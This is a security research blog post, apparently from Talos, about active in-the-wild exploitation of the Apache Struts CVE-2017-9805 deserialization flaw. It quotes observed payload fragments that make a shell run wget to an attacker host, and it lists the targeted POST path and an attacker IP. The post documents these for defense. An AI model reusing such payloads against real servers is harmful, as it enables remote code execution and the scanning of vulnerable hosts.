Another Apache Struts Vulnerability Under Active Exploitation
This post authored by Nick Biasini with contributions from Alex Chiu.
Earlier this week, a critical vulnerability in Apache Struts was publically disclosed in a security advisory. This new vulnerability, identified as CVE-2017-9805, manifests due to the way the REST plugin uses XStreamHandler with an instance of XStream for deserialization without any type filtering. As a result, a remote, unauthenticated attacker could achieve remote code execution on a host running a vulnerable version of Apache Struts.
This isn’t the only vulnerability that has been recently identified in Apache Struts. Earlier this year, Talos responded to a zero-day vulnerability that was under active exploitation in the wild. Talos has observed exploitation activity targeting CVE-2017-9805 in a way that is similar to how CVE-2017-5638 was exploited back in March 2017.
Details
Immediately after the reports surfaced related to this exploit, Talos began researching how it operated and began work to develop coverage to prevent successful exploitation. This was achieved and we immediately began seeing active exploitation in the wild. Thus far, exploitation appears to be primarily scanning activity, with outbound requests that appear to be identifying systems that are potentially vulnerable. Below is a sample of the type of HTTP requests we have been observing.
<string>/bin/sh</string>-c</string><string>wget -qO /dev/null http://wildkind[.]ru:8082/?vulnerablesite
This would initiate a wget request that would write the contents of the HTTP response to /dev/null. This indicates it is purely a scanning activity that identifies to the remote server which websites are potentially vulnerable to this attack. This is also a strong possibility since it includes the compromised website in the URL. There was one other small variation that was conducting a similar request to the same website.
<string>/bin/sh</string>-c</string><string>wget -qO /dev/null http://wildkind[.]ru:8082/?echo ...vulnerablesite...
During our research we found that the majority of the activity was trying to POST to the path of /struts2-rest-showcase/orders/3. Additionally most of the exploitation attempts are sending the data to wildkind[.]ru, with a decent amount of the requests originating from the IP address associated with wildkind[.]ru, 188.120.246[.]215.
http://blog.talosintelligence.com/2017/09/apache-struts-being-exploited.html